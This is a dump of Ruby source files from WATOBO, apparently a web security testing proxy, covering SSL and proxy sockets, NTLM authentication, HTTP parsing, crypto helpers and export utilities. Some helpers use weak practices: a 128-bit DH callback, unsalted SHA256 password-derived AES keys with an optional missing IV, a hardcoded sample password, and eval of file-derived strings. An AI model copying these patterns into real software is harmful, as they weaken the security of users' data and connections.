"* no content-length information ... mmmmmpf" # eofcount = 0 Watobo::HTTPSocket.read_body(@socket) do |c| data += c end end response.push data unless data.empty? unless prefs[:ignore_logout]==true or @session[:logout_signatures].empty? notify(:logout, self) if loggedOut?(response) end update_sids(request.host, response) if prefs[:update_sids] == true return true rescue => e puts "! Could not read response" puts e # puts e.backtrace end return false end def read_header( prefs={} ) header = [] msg = nil begin Watobo::HTTPSocket.read_header(@socket) do |line| #puts line # puts line.unpack("H*") header << line end rescue Errno::ECONNRESET msg = "WATOBOWATOBO: Connection Reset By Peer" rescue Timeout::Error msg = "WATOBOWATOBO: Timeout" rescue => bang puts "!ERROR: read_header" return nil end header = [ "HTTP/1.1 502 Bad Gateway\r\n", "Server: WATOBO\r\n", "Content-Length: #{msg.length.to_i}\r\n", "Content-Type: text/html\r\n", "\r\n", "#{msg}" ] unless msg.nil? response = Watobo::Response.new header # update_sids(header) # update_sids(request.site, response) if prefs[:update_sids] == true unless prefs[:ignore_logout]==true or @session[:logout_signatures].empty? notify(:logout, self) if loggedOut?(response) end return response end def sslConnect(tcp_socket, current_prefs = {} ) begin ctx = OpenSSL::SSL::SSLContext.new() ctx.ciphers = current_prefs[:ssl_cipher] if current_prefs.has_key? :ssl_cipher if current_prefs.has_key? :ssl_client_cert and current_prefs.has_key? :ssl_client_key ctx.cert = current_prefs[:ssl_client_cert] ctx.key = current_prefs[:ssl_client_key] if $DEBUG && ENV['WATOBO_DEBUG'].to_s =~ /cert/i puts "[SSLconnect] Client Certificates" puts "= CERT =" # puts @ctx.cert.methods.sort puts ctx.cert.display puts "---" puts "= KEY =" puts ctx.key.display puts "---" end end @socket = OpenSSL::SSL::SSLSocket.new(tcp_socket, ctx) @socket.sync_close = true @socket.connect @socket.setsockopt( Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, 1) puts "[SSLconnect]: #{@socket.state}" if ( $DEBUG && ENV[WATOBO_DEBUG].to_s =~ /ssl/i return socket rescue => bang if current_prefs[:ssl_cipher].nil? puts "[SSLconnect] ... gr#!..*peep*.. " puts bang puts bang.backtrace if $DEBUG end end end # SSLProxyConnect # return SSLSocket, ResponseHeader of ConnectionSetup # On error SSLSocket is nil def sslProxyConnect( prefs ) begin tcp_socket = nil response_header = [] request = @request.copy # timeout(6) do tcp_socket = TCPSocket.new( @proxy.host, @proxy.port) tcp_socket.setsockopt( Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, 1) tcp_socket.sync = true # setup request dummy = "CONNECT #{request.host}:#{request.port} HTTP/1.0\r\n" request.shift request.unshift dummy request.removeHeader("Proxy-Connection") request.removeHeader("Connection") request.removeHeader("Content-Length") request.removeBody() request.addHeader("Proxy-Connection", "Keep-Alive") request.addHeader("Pragma", "no-cache") # puts "=== sslProxyConnect ===" # puts request if proxy.has_login? case proxy.auth_type when AUTH_TYPE_NTLM t1 = Watobo::NTLM::Message::Type1.new() msg = "NTLM " + t1.encode64 request.addHeader("Proxy-Authorization", msg) if $DEBUG puts "============= PROXY NTLM: T1 =======================" puts request puts "---" end data = request.join + "\r\n" tcp_socket.print data # puts "-----------------" cl = 0 ntlm_challenge = nil while (line = tcp_socket.gets) response_header.push line puts line if $DEBUG if line =~ /^HTTP\/\d\.\d (\d+) (.*)/ then rcode = $1.to_i rmsg = $2 end if line =~ /^Proxy-Authenticate: (NTLM) (.+)\r\n/ ntlm_challenge = $2 end if line =~ /^Content-Length: (\d*)/i cl = $1.to_i end break if line.strip.empty? end if cl > 0 Watobo::HTTPSocket.read_body(tcp_socket) { |d| # puts d } end if rcode == 200 # Ok puts "* seems proxy doesn't require authentication" socket = sslConnect(tcp_socket, prefs) return socket, response_header end return socket, response_header if ntlm_challenge.nil? or ntlm_challenge == "" t2 = Watobo::NTLM::Message.decode64(ntlm_challenge) t3 = t2.response( { :user => proxy.username, :password => proxy.password, :domain => proxy.domain }, { :workstation => proxy.workstation, :ntlmv2 => true } ) request.removeHeader("Proxy-Authorization") msg = "NTLM " + t3.encode64 request.addHeader("Proxy-Authorization", msg) data = request.join + "\r\n" if $DEBUG puts "============= T3 =======================" puts data puts "---" end tcp_socket.print data # puts "-----------------" response_header = [] rcode = 0 response_header = read_header(@socket) rcode = response_header.status if rcode =~/^200/ # Ok puts "[ProxyAuth-NTLM] Authorization Successful" if $DEBUG socket = sslConnect(tcp_socket, prefs) return socket, response_header elsif rcode =~ /^407/ # ProxyAuthentication Required # if rcode is still 407 authentication didn't work -> break msg = "NTLM-Authentication failed!" puts "[ProxyAuth-NTLM] #{msg}" if $DEBUG return nil, msg else puts "[SSLconnect] NTLM Authentication" puts "> #{rcode} <" return nil, response_header end end end # END OF PROXY AUTH # Start ProxyConnect Without Authentication data = request.join + "\r\n" tcp_socket.print data # puts "-----------------" response_header = [] response_header = readHTTPHeader(@socket) rcode = response_header.status if rcode =~ /^200/ # Ok # puts "* proxy connection successfull" elsif rcode =~ /^407/ # ProxyAuthentication Required # if rcode is still 407 authentication didn't work -> break else puts "[SSLconnect] Response Status" puts "> #{rcode} <" end socket = sslConnect(@socket, prefs) return socket, response_header rescue => bang puts bang return nil, error_response(bang) end # return nil, nil end # proxyAuthNTLM # returns: ResponseHeaders def proxyAuthNTLM() request = @request.copy request.removeHeader("Proxy-Authorization") request.removeHeader("Proxy-Connection") response_header = [] ntlm_challenge = nil t1 = Watobo::NTLM::Message::Type1.new() msg = "NTLM " + t1.encode64 request.addHeader("Proxy-Authorization", msg) request.addHeader("Proxy-Connection", "Keep-Alive") # puts "============= T1 =======================" # puts auth_request data = request.join + "\r\n" @socket.print data # puts "-----------------" response_header = readHTTPHeader(@socket) rcode = nil rmsg = nil ntlm_challenge = nil clen = 0 response_header.each do |line| # puts line if line =~ /^HTTP\/\d\.\d (\d+) (.*)/ then rcode = $1.to_i rmsg = $2 end if line =~ /^Proxy-Authenticate: (NTLM) (.+)\r\n/ ntlm_challenge = $2 end if line =~ /^Content-Length: (\d{1,})\r\n/ clen = $1.to_i end break if line.strip.empty? end #puts "* reading #{clen} bytes" if rcode == 407 # ProxyAuthentication Required return response_header if ntlm_challenge.nil? or ntlm_challenge == "" else puts "* no proxy authentication required!" return response_header end Watobo::HTTPSocket.read_body(@socket, :max_bytes => clen){ |d| #puts d } t2 = Watobo::NTLM::Message.decode64(ntlm_challenge) t3 = t2.response({:user => proxy.username, :password => proxy.password, :workstation => proxy.workstation, :domain => proxy.domain}, {:ntlmv2 => true}) request.removeHeader("Proxy-Authorization") # request.removeHeader("Proxy-Connection") # request.addHeader("Proxy-Connection", "Close") # request.addHeader("Pragma", "no-cache") msg = "NTLM " + t3.encode64 request.addHeader("Proxy-Authorization", msg) # puts "============= T3 =======================" # puts request # puts "------------------------" data = request.join + "\r\n" @socket.print data response_header = readHTTPHeader(@socket) response_header.each do |line| # puts line if line =~ /^HTTP\/\d\.\d (\d+) (.*)/ then rcode = $1.to_i rmsg = $2 end if line =~ /^Proxy-Authenticate: (NTLM) (.+)\r\n/ ntlm_challenge = $2 end if line =~ /^Content-Length: (\d{1,})\r\n/ clen = $1.to_i end break if line.strip.empty? end # Watobo::HTTPSocket.read_body(tcp_socket, :max_bytes => clen){ |d| #puts d # } return response_header end # # doProxyAuth # def doProxyAuth() # puts "DO PROXY AUTH" # puts proxy.to_yaml response_headers = nil case @proxy.auth_type when AUTH_TYPE_NTLM return proxyAuthNTLM() end # END OF NTLM end end end end watobo-1.0.1/lib/watobo/sockets/http_socket.rb000077500000000000000000000213571366346341400214210ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module HTTPSocket def self.close(socket) # def close begin #if socket.class.to_s =~ /SSLSocket/ if socket.respond_to? :sysclose #socket.io.shutdown(2) socket.sysclose elsif socket.respond_to? :shutdown #puts "SHUTDOWN" socket.shutdown(Socket::SHUT_RDWR) end # finally close it if socket.respond_to? :close socket.close end return true rescue => bang puts bang puts bang.backtrace if $DEBUG end false # end end # siteAlive? # checks if site can be reached # input: takes a chat or a request object def self.siteAlive?(chat) #puts chat.class site = nil host = nil port = nil site = chat.respond_to?(:request) ? chat.request.site : chat.site #return @sites_online[site] if @sites_online.has_key?(site) proxy = Watobo::ForwardingProxy.get site unless proxy.nil? Watobo.print_debug("Using Proxy","#{proxy.to_yaml}") if $DEBUG puts "* testing proxy connection:" puts "#{proxy.name} (#{proxy.host}:#{proxy.port})" host = proxy.host port = proxy.port else print "* check if site is alive (#{site}) ... " host = chat.respond_to?(:request) ? chat.request.host : chat.host port = chat.respond_to?(:request) ? chat.request.port : chat.port end return false if host.nil? or port.nil? begin tcp_socket = nil # timeout(6) do tcp_socket = TCPSocket.new( host, port) tcp_socket.setsockopt( Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, 1) tcp_socket.sync = true socket = tcp_socket if socket.class.to_s =~ /SSLSocket/ socket.io.shutdown(2) else socket.shutdown(2) end socket.close print "[OK]\n" return true rescue Errno::ECONNREFUSED p "* connection refused (#{host}:#{port})" rescue Errno::ECONNRESET puts "* connection reset" rescue Errno::EHOSTUNREACH p "* host unreachable (#{host}:#{port})" rescue Timeout::Error p "* TimeOut (#{host}:#{port})\n" rescue Errno::ETIMEDOUT p "* TimeOut (#{host}:#{port})" rescue Errno::ENOTCONN puts "!!!ENOTCONN" rescue OpenSSL::SSL::SSLError p "* ssl error" socket = nil # puts "!!! SSL-Error" print "E" rescue => bang # puts host # puts port puts bang puts bang.backtrace if $DEBUG end print "[FALSE]\n" return false end def self.get_ssl_cert_cn( host, port) cn = "" # if target is an ip address we use the cn name of the certificate # otherwise we return the hostname return host unless host =~ /\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/ begin tcp_socket = TCPSocket.new( host, port ) tcp_socket.setsockopt( Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, 1) tcp_socket.sync = true ctx = OpenSSL::SSL::SSLContext.new() # puts ctx.ciphers ctx.tmp_dh_callback = proc { |*args| OpenSSL::PKey::DH.new(128) } socket = OpenSSL::SSL::SSLSocket.new(tcp_socket, ctx) # need hostname for SNI (Server Name Indication) # http://en.wikipedia.org/wiki/Server_Name_Indication socket.hostname = host socket.connect cert = socket.peer_cert cn = $1 if cert.subject.to_s =~ /cn=([^\/]*)/i socket.io.shutdown(2) rescue => bang puts bang puts ">> #{host}:#{port}" cn = host ensure socket.close if socket.respond_to? :close end cn end def self.get_peer_subject(socket) begin ctx = OpenSSL::SSL::SSLContext.new() ctx.tmp_dh_callback = proc { |*args| OpenSSL::PKey::DH.new(128) } ssl_sock = OpenSSL::SSL::SSLSocket.new(socket, ctx) subject = ssl_sock.peer_cert.subject return subject rescue => bang puts bang puts bang.backtrace end return nil end def self.read_body(socket, prefs=nil) buf = nil max_bytes = -1 unless prefs.nil? max_bytes = prefs[:max_bytes] unless prefs[:max_bytes].nil? end bytes_to_read = max_bytes >= 0 ? max_bytes : 1024 bytes_read = 0 while max_bytes < 0 or bytes_to_read > 0 begin # timeout(5) do # puts "<#{bytes_to_read} / #{bytes_read} / #{max_bytes}" buf = socket.readpartial(bytes_to_read) bytes_read += buf.length # end rescue EOFError if $DEBUG puts "#{buf.class} - #{buf}" end # unless buf.nil? # yield buf if block_given? # end #buf = nil break #return rescue Timeout::Error puts "!!! Timeout: read_body (max_bytes=#{max_bytes})" #puts "* last data seen on socket:" # puts buf puts $!.backtrace if $DEBUG break rescue => bang print "E!" puts bang.backtrace if $DEBUG break end break if buf.nil? yield buf if block_given? break if max_bytes >= 0 and bytes_read >= max_bytes bytes_to_read -= bytes_read if max_bytes >= 0 && bytes_to_read >= bytes_read end return end def self.readChunkedBody(socket, &block) buf = nil while (chunk_size = socket.gets) if chunk_size.strip.empty? yield chunk_size next end next unless chunk_size.strip =~/^[a-fA-F0-9]+$/ yield "#{chunk_size.strip}\n" if block_given? bytes_to_read = num_bytes = chunk_size.strip.hex # puts "> chunk-length: 0x#{chunk_size.strip}(#{num_bytes})" return if num_bytes == 0 bytes_read = 0 while bytes_read < num_bytes begin # timeout(5) do bytes_to_read = num_bytes - bytes_read # puts bytes_to_read.to_s buf = socket.readpartial(bytes_to_read) bytes_read += buf.length # puts bytes_read.to_s # end rescue EOFError # yield buf if buf return rescue Timeout::Error puts "!!! Timeout: readChunkedBody (bytes_to_read=#{bytes_to_read}" #puts "* last data seen on socket:" # puts buf return rescue => bang # puts "!!! Error (???) reading body:" # puts bang # puts bang.class # puts bang.backtrace.join("\n") # puts "* last data seen on socket:" # puts buf print "E!" return end # puts bytes_read.to_s yield buf if block_given? #return if max_bytes > 0 and bytes_read >= max_bytes end yield "\r\n" if block_given? end # end end def self.read_header(socket) buf = '' while true begin buf = socket.gets rescue EOFError puts "!!! EOF: reading header" # buf = nil return rescue Errno::ECONNRESET #puts "!!! CONNECTION RESET: reading header" #buf = nil #return raise rescue Errno::ECONNABORTED raise rescue Timeout::Error #puts "!!! TIMEOUT: reading header" #return raise rescue => bang # puts "!!! READING HEADER:" # puts buf puts bang puts bang.backtrace raise end return if buf.nil? yield buf if block_given? return if buf.strip.empty? end end def self.read_client_header(socket) buf = '' while true begin #Timeout::timeout(1.5) do buf = socket.gets #end rescue EOFError => e puts "EOFError: #{e}" #puts "!!! EOF: reading header" # buf = nil return true rescue Errno::ECONNRESET => e puts "ECONNRESET: #{e}" #puts "!!! CONNECTION RESET: reading header" #buf = nil #return #raise return false rescue Errno::ECONNABORTED => e puts "ECONNABORTED: #{e}" #raise return false rescue Timeout::Error => e puts "TIMEOUT: #{e}" return false rescue => bang # puts "!!! READING HEADER:" # puts buf puts bang puts bang.backtrace raise end return false if buf.nil? # puts buf yield buf if block_given? return if buf.strip.empty? end end end end watobo-1.0.1/lib/watobo/sockets/ntlm_auth.rb000066400000000000000000000100051366346341400210460ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module HTTPSocket module NTLMAuth def do_ntlm_auth() response_header = nil auth_request = @request.copy ntlm_challenge = nil t1 = Watobo::NTLM::Message::Type1.new() msg = "NTLM " + t1.encode64 auth_request.removeHeader("Connection") auth_request.removeHeader("Authorization") auth_request.addHeader("Authorization", msg) auth_request.addHeader("Connection", "Keep-Alive") if $DEBUG puts "============= T1 =======================" puts auth_request end data = auth_request.join + "\r\n" @connection.send data puts "-----------------" if $DEBUG response_header = [] rcode = nil clen = nil ntlm_challenge = nil response_header = connection.read_header response_header.each do |line| if line =~ /^HTTP\/\d\.\d (\d+) (.*)/ then rcode = $1.to_i rmsg = $2 end if line =~ /^WWW-Authenticate: (NTLM) (.+)\r\n/ ntlm_challenge = $2 end if line =~ /^Content-Length: (\d{1,})\r\n/ clen = $1.to_i end break if line.strip.empty? end # puts "===================" if $DEBUG puts "--- T1 RESPONSE HEADERS ---" puts response_header puts "---" end if rcode == 401 #Authentication Required puts "[NTLM] got ntlm challenge: #{ntlm_challenge}" if $DEBUG return socket, response_header if ntlm_challenge.nil? elsif rcode == 200 # Ok puts "[NTLM] seems request doesn't need authentication" if $DEBUG return socket, Watobo::Response.new(response_header) else if $DEBUG puts "[NTLM] ... !#*+.!*peep* ...." puts response_header end return socket, Watobo::Response.new(response_header) end # reading rest of response rest = '' Watobo::HTTPSocket.read_body(socket, :max_bytes => clen){ |d| rest += d } if $DEBUG puts "--- T1 RESPONSE BODY ---" puts rest puts "---" end t2 = Watobo::NTLM::Message.decode64(ntlm_challenge) t3 = t2.response({:user => ntlm_credentials[:username], :password => ntlm_credentials[:password], :domain => ntlm_credentials[:domain]}, {:workstation => ntlm_credentials[:workstation], :ntlmv2 => true}) # puts "* NTLM-Credentials: #{ntlm_credentials[:username]},#{ntlm_credentials[:password]}, #{ntlm_credentials[:domain]}, #{ntlm_credentials[:workstation]}" auth_request.removeHeader("Authorization") auth_request.removeHeader("Connection") # auth_request.addHeader("Connection", "Close") msg = "NTLM " + t3.encode64 auth_request.addHeader("Authorization", msg) # puts "============= T3 =======================" data = auth_request.join + "\r\n" if $DEBUG puts "= NTLM Type 3 =" puts data end @connection.send data response_header = [] response_header = connection.header response_header.each do |line| if line =~ /^HTTP\/\d\.\d (\d+) (.*)/ then rcode = $1.to_i rmsg = $2 end break if line.strip.empty? end if rcode == 200 # Ok puts "[NTLM] Authentication Successfull" if $DEBUG elsif rcode == 401 # Authentication Required # TODO: authorization didn't work -> do some notification # ... puts "[NTLM] could not authenticate. Bad credentials?" puts ntlm_credentials.to_yaml end return socket, Watobo::Response.new(response_header) end end end endwatobo-1.0.1/lib/watobo/utils.rb000066400000000000000000000005321366346341400165440ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Utils utils_path = File.expand_path(File.join(File.dirname(__FILE__), "utils")) #puts "* loading utils #{utils_path}" Dir.glob("#{utils_path}/*.rb").each do |cf| puts "+ #{File.basename(cf)}" if $DEBUG require File.join("watobo","utils", File.basename(cf)) end end endwatobo-1.0.1/lib/watobo/utils/000077500000000000000000000000001366346341400162175ustar00rootroot00000000000000watobo-1.0.1/lib/watobo/utils/check_regex.rb000066400000000000000000000005111366346341400210100ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Utils def Utils.checkRegex(pattern) begin # use nice string to test pattern ;) "watobo rocks!!!" =~ /#{pattern}/i return true rescue => bang # puts bang return false, bang end end end #--- Utils end #---Watobo watobo-1.0.1/lib/watobo/utils/copy_object.rb000066400000000000000000000002741366346341400210470ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Utils def Utils.copyObject(object) copy = secure_eval(YAML.load(YAML.dump(object.inspect))) return copy end end end watobo-1.0.1/lib/watobo/utils/crypto.rb000066400000000000000000000025461366346341400200730ustar00rootroot00000000000000require 'openssl' require 'digest/sha1' require 'base64' # Thanks to : http://rails.brentsowers.com/2007/12/aes-encryption-and-decryption-in-ruby.html # @private module Watobo#:nodoc: all module Crypto def Crypto.encryptPassword(plain_password, secret) Base64.encode64(Crypto.encrypt(plain_password, secret)).strip end def Crypto.decryptPassword(b64_encrypted_password, secret) ep = Base64.decode64(b64_encrypted_password) decrypt(ep, secret) end def Crypto.decrypt(encrypted_data, pass, iv=nil, cipher_type="AES-256-CBC") aes = OpenSSL::Cipher::Cipher.new(cipher_type) aes.decrypt aes.key = Digest::SHA256.digest(pass) aes.iv = iv if iv != nil aes.update(encrypted_data) + aes.final end def Crypto.encrypt(data, pass, iv=nil, cipher_type="AES-256-CBC") aes = OpenSSL::Cipher::Cipher.new(cipher_type) aes.encrypt aes.key = Digest::SHA256.digest(pass) aes.iv = iv if iv != nil aes.update(data) + aes.final end end end if __FILE__ == $0 # TODO Generated stub # cipher = "AES-256-CBC" pass = "password" #iv = nil plaintext = "S3cr3t" 1000.times do |i| plaintext += (rand(65)+35).chr + "OK" encrypted = Crypto.encrypt(plaintext, pass) puts encrypted puts "* now decrypt again" plain = Crypto.decrypt(Base64.decode64(encrypted), pass) puts plain end endwatobo-1.0.1/lib/watobo/utils/curl.rb000066400000000000000000000011111366346341400175030ustar00rootroot00000000000000module Watobo module Utils module Curl REMOVE_HEADERS = %w( Content-Length Connection ).map {|h| h.downcase} def self.create_request(request) cURL = ['curl -X ' + request.method.upcase] cURL << request.url_string request.headers[1..-1].each do |h| hname = h.gsub(/:.*/, '').downcase cURL << '-H "' + h.strip + '"' unless REMOVE_HEADERS.include?(hname.downcase) end if request.has_body? cURL << "--data '" + request.body + "'" end cURL.join(" \\\n ") end end end endwatobo-1.0.1/lib/watobo/utils/expand_range.rb000066400000000000000000000007721366346341400212050ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Utils # expand range creates an array out of def self.expand_range(pattern) vals = pattern.split(",") result = [] vals.each do |v| v.strip! if v =~ /^(\d+)$/ then result.push $1.to_i elsif v =~ /^(\d+)-(\d+)$/ start = $1 stop = $2 dummy = (start..stop).to_a result.concat dummy end end result.uniq! return result end end endwatobo-1.0.1/lib/watobo/utils/export_xml.rb000066400000000000000000000051711366346341400207510ustar00rootroot00000000000000module Watobo module Utils def self.finding2xml(finding,xml) fnode = Nokogiri::XML::Node.new("Finding", xml) dnode = Nokogiri::XML::Node.new("Request", xml) dnode.content = Base64.strict_encode64( finding.request.join ) fnode << dnode dnode = Nokogiri::XML::Node.new("Response", xml) dnode.content = Base64.strict_encode64 finding.response.join fnode << dnode dnode = Nokogiri::XML::Node.new("Details", xml) finding.details.each do |k,v| d = Nokogiri::XML::Node.new(k.to_s, xml) d.content = v dnode << d end fnode << dnode fnode end def self.chat2xml(chat,xml) fnode = Nokogiri::XML::Node.new("Chat", xml) dnode = Nokogiri::XML::Node.new("Request", xml) dnode.content = Base64.strict_encode64( chat.request.join ) fnode << dnode dnode = Nokogiri::XML::Node.new("Response", xml) dnode.content = Base64.strict_encode64 chat.response.join fnode << dnode dnode = Nokogiri::XML::Node.new("Details", xml) chat.settings.each do |k,v| d = Nokogiri::XML::Node.new(k.to_s, xml) d.content = v dnode << d end fnode << dnode fnode end def self.exportXML(*prefs) # prefs ||= [] xml = Nokogiri::XML("") env = Nokogiri::XML::Node.new("WatoboExportv1", xml) xml << env if prefs.include? :export_findings findings = Nokogiri::XML::Node.new("Findings", xml) env << findings Watobo::Findings.each do |fid, finding| if prefs.include? :scope_only if Watobo::Scope.match_site?(finding.request.site) if prefs.include? :ignore_fps unless finding.false_positive? findings << finding2xml(finding, xml) end else findings << finding2xml(finding, xml) end end else if prefs.include? :ignore_fps unless finding.false_positive? findings << finding2xml(finding, xml) end else findings << finding2xml(finding, xml) end end end end chats = Nokogiri::XML::Node.new("Chats", xml) env << chats if prefs.include? :export_chats Watobo::Chats.each do |chat| if prefs.include? :scope_only if Watobo::Scope.match_site?(chat.request.site) chats << chat2xml(chat, xml) end else chats << chat2xml(chat, xml) end end end xml end end endwatobo-1.0.1/lib/watobo/utils/file_management.rb000077500000000000000000000015311366346341400216620ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Utils # e.g, save_settings("test-settings.test", 0, "@saved_settings", @saved_settings) def Utils.save_settings(file, settings) begin if settings.is_a? Hash File.open(file, "w") { |fh| YAML.dump(settings, fh) } return true else return false end rescue => bang puts bang puts bang.backtrace if $DEBUG end return false end def Utils.load_settings(file) settings = nil if File.exist?(file) then settings = YAML.load_file(file) end return settings end def Utils.saveChat(chat, filename) return false if filename.nil? return false if chat.nil? Watobo::DataStore.save_chat(filename, chat) end end end watobo-1.0.1/lib/watobo/utils/hexprint.rb000066400000000000000000000003161366346341400204050ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Utils def self.hexprint(data) data.length.times do |i| print "%02X" % data[i].ord puts if data[i] == "\n" end end end endwatobo-1.0.1/lib/watobo/utils/load_chat.rb000066400000000000000000000163411366346341400204670ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Utils def Utils.loadChatMarshal(file) begin request = [] response = [] if File.exist?(file) then puts "LoadChatMarshal: #{file}" if $DEBUG settings = {} File.open(file,"rb") { |fh| settings = Marshal::load(fh.read) request = settings[:request] response = settings[:response] settings.delete(:response) settings.delete(:request) } chat = Watobo::Chat.new(request, response, settings) chat.file = file return chat else puts "* file #{file} not found" return nil end rescue Psych::SyntaxError puts "!!! Malformed File #{file}" rescue => bang puts "! could not load chat from file #{file}" puts bang puts bang.backtrace #puts cdata #puts bang #puts bang.backtrace if $DEBUG end end # loadChat returns a chat object imported from a yaml file def Utils.loadChatYAML(file) begin if File.exist?(file) then puts "LoadChatYAML: #{file}" if $DEBUG cdata = YAML.load(File.open(file,"rb").read) return nil unless cdata # need to restore CRLF cdata[:request].map!{|l| if l =~ /^\"/ then x = secure_eval(l) else x = l.strip + "\r\n" x = l if l == cdata[:request].last end x } cdata[:response].map!{|l| if l =~ /^\"/ then x = secure_eval(l) else x = l.strip + "\r\n" x = l if l == cdata[:response].last end x } # puts cdata # puts cdata.class settings = Hash.new settings.update cdata settings.delete(:response) settings.delete(:request) chat = Watobo::Chat.new(cdata[:request], cdata[:response], settings) chat.file = file return chat else puts "* file #{file} not found" return nil end rescue Psych::SyntaxError puts "!!! Malformed File #{file}" rescue => bang puts "! could not load chat from file #{file}" #puts cdata #puts bang #puts bang.backtrace if $DEBUG end end def Utils.loadFindingMarshal(file) puts "LoadFindingMarshal: #{file}" if $DEBUG if File.exist?(file) then begin fdata = nil File.open(file,"rb") {|f| fdata = Marshal::load(f.read) } finding = Watobo::Finding.new(fdata[:request], fdata[:response], fdata[:details]) return finding rescue => bang puts bang puts "could not load finding #{file}" return nil end else # puts "* file #{file} not found" return nil end end def Utils.loadFindingYAML(file) puts "LoadFindingYAML: #{file}" if $DEBUG if File.exist?(file) then begin fdata = YAML.load(File.open(file,"rb").read) # need to restore CRLF return nil unless fdata fdata[:request].map!{|l| if l =~ /^\"/ then x = secure_eval(l) else x = l.strip + "\r\n" x = l if l == fdata[:request].last end x } fdata[:response].map!{|l| if l =~ /^\"/ then x = secure_eval(l) else x = l.strip + "\r\n" x = l if l == fdata[:response].last end x } finding = Watobo::Finding.new(fdata[:request], fdata[:response], fdata[:details]) return finding rescue => bang puts bang puts "could not load finding #{file}" return nil end else # puts "* file #{file} not found" return nil end end def Utils.loadChat(path, id, request_pattern, response_pattern) chat = nil req_file = File.join(path, "#{id}#{request_pattern}") res_file = File.join(path, "#{id}#{response_pattern}") # puts "* load chat (request): #{req_file}" # puts "* load chat (response): #{res_file}" request = [] if File.exist?(req_file) then fh = File.open(req_file,"rb") fh.each do |line| request.push line end else # puts "!! File not found (#{req_file})" return nil,nil end response = [] # print "." # first only read header as array content_length = 0 response_is_gzipped = false content_is_chunked = false max_response_size = 50000 if File.exist?(res_file) then begin resFH = open(res_file, "rb") loop do l = resFH.readline if l =~ /Content-Length.* (\d*)/ then content_length = $1.to_i #puts "Content-Length is #{content_length}" end if l =~ /Content-Encoding.*gzip/ then response_is_gzipped = true end if l=~ /Transfer-Encoding.*chunked/i then content_is_chunked = true end response.push(l) # break if l.length < 3 # end of header break if l =~ /^\r\n$/ # end of header end if content_is_chunked then # read rest of file response.push "\r\n" response.push resFH.read #content_length = dummy.chomp.hex return request, response end rescue => bang puts "Could not read Header from file #{res_file}" end # now read response body begin if response_is_gzipped and content_length > 0 then gziped = resFH.read(content_length) begin gz = Zlib::GzipReader.new( StringIO.new( gziped ) ) data = gz.read if data.length > max_response_size then data = data[0..max_response_size] puts "!!! chat file (#{res_file}: Response too long" # puts data end response.push data rescue => bang puts "ERROR: GZIP with file #{res_file}" puts bang #resFH.each do |l| # response.push(l) if response.join.length < @max_response_size #end end return request, response end #resFH.each do |l| # response.push(l) if response.join.length < max_response_size #end rest = resFH.read response.push(rest) return request, response rescue EOFError => bang return request, response rescue => bang puts "!!! Error: Could not read response file #{res_file}" puts bang end end end end end watobo-1.0.1/lib/watobo/utils/load_icon.rb000066400000000000000000000012521366346341400204730ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Utils def loadIcon(app, filename) begin icon = nil File.open(filename, "rb") do |f| if filename.strip =~ /\.ico$/ then icon = FXICOIcon.new(app, f.read) #icon = FXICOIcon.new(getApp(), f.read) elsif filename.strip =~ /\.png$/ then icon = FXPNGIcon.new(app, f.read) elsif filename.strip =~ /\.gif$/ then icon = FXGIFIcon.new(app, f.read) end icon.create end icon rescue => bang puts "Couldn't load icon: #{filename}" puts bang end end end end watobo-1.0.1/lib/watobo/utils/ntlm.rb000066400000000000000000000603771366346341400175330ustar00rootroot00000000000000# encoding: UTF-8 # # = net/ntlm.rb # # An NTLM Authentication Library for Ruby # # This code is a derivative of "dbf2.rb" written by yrock # and Minero Aoki. You can find original code here: # http://jp.rubyist.net/magazine/?0013-CodeReview # ------------------------------------------------------------- # Copyright (c) 2005,2006 yrock # # This program is free software. # You can distribute/modify this program under the terms of the # Ruby License. # # 2006-02-11 refactored by Minero Aoki # ------------------------------------------------------------- # # All protocol information used to write this code stems from # "The NTLM Authentication Protocol" by Eric Glass. The author # would thank to him for this tremendous work and making it # available on the net. # http://davenport.sourceforge.net/ntlm.html # ------------------------------------------------------------- # Copyright (c) 2003 Eric Glass # # Permission to use, copy, modify, and distribute this document # for any purpose and without any fee is hereby granted, # provided that the above copyright notice and this list of # conditions appear in all copies. # ------------------------------------------------------------- # # The author also looked Mozilla-Firefox-1.0.7 source code, # namely, security/manager/ssl/src/nsNTLMAuthModule.cpp and # Jonathan Bastien-Filiatrault's libntlm-ruby. # "http://x2a.org/websvn/filedetails.php? # repname=libntlm-ruby&path=%2Ftrunk%2Fntlm.rb&sc=1" # The latter has a minor bug in its separate_keys function. # The third key has to begin from the 14th character of the # input string instead of 13th:) #-- # $Id: ntlm.rb,v 1.1 2006/10/05 01:36:52 koheik Exp $ #++ module Watobo module NTLM # @private module VERSION MAJOR = 0 MINOR = 3 TINY = 4 STRING = [MAJOR, MINOR, TINY].join('.') end SSP_SIGN = "NTLMSSP\0" BLOB_SIGN = 0x00000101 LM_MAGIC = "KGS!@\#$%" TIME_OFFSET = 11644473600 MAX64 = 0xffffffffffffffff FLAGS = { :UNICODE => 0x00000001, :OEM => 0x00000002, :REQUEST_TARGET => 0x00000004, :MBZ9 => 0x00000008, :SIGN => 0x00000010, :SEAL => 0x00000020, :NEG_DATAGRAM => 0x00000040, :NETWARE => 0x00000100, :NTLM => 0x00000200, :NEG_NT_ONLY => 0x00000400, :MBZ7 => 0x00000800, :DOMAIN_SUPPLIED => 0x00001000, :WORKSTATION_SUPPLIED => 0x00002000, :LOCAL_CALL => 0x00004000, :ALWAYS_SIGN => 0x00008000, :TARGET_TYPE_DOMAIN => 0x00010000, :TARGET_INFO => 0x00800000, :NTLM2_KEY => 0x00080000, :KEY128 => 0x20000000, :KEY56 => 0x80000000 }.freeze FLAG_KEYS = FLAGS.keys.sort{|a, b| FLAGS[a] <=> FLAGS[b] } DEFAULT_FLAGS = { :TYPE1 => FLAGS[:UNICODE] | FLAGS[:OEM] | 